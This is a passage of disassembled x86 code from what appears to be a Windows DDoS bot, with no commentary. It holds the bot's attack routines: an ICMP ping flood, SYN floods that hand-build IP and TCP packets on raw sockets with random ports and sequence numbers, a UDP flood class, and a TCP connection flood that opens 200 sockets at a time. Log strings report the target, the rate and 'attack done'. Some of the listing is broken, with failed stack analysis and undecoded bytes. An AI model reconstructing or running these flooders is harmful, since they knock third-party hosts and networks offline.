		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 2950856h
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E140, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E144, eax
		call	edi
		mov	ecx, dword_50E140
		mov	dword_50E13C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E144
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64E9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E13C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E144	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DBF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E671F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D4Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E14C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E34C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 28F08B8h
		test	eax, eax
		mov	dword_50E350, eax
		jz	short loc_426B9B
		push	offset dword_446F64
		push	5
		push	eax
		push	0
		push	offset dword_50E14C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D4Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6765[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64E9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 29B0000h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6765[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_426F70	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_4270E0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427171:				; CODE XREF: ___:00427151j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: ___:00427195j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: ___:0042736Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: ___:004271B8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 2960743h
		mov	[esp+48h], eax
		mov	al, byte_4D64E9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427265:				; CODE XREF: ___:00427261j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		call	near ptr 2960743h
		nop
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4273B9:				; CODE XREF: ___:0042739Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 8BF6E890h, 0E9A00258h, 84004D64h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_427417:				; CODE XREF: ___:00427396j
		mov	edi, [esp+18h]


loc_42741B:				; CODE XREF: ___:0042724Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_427520	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



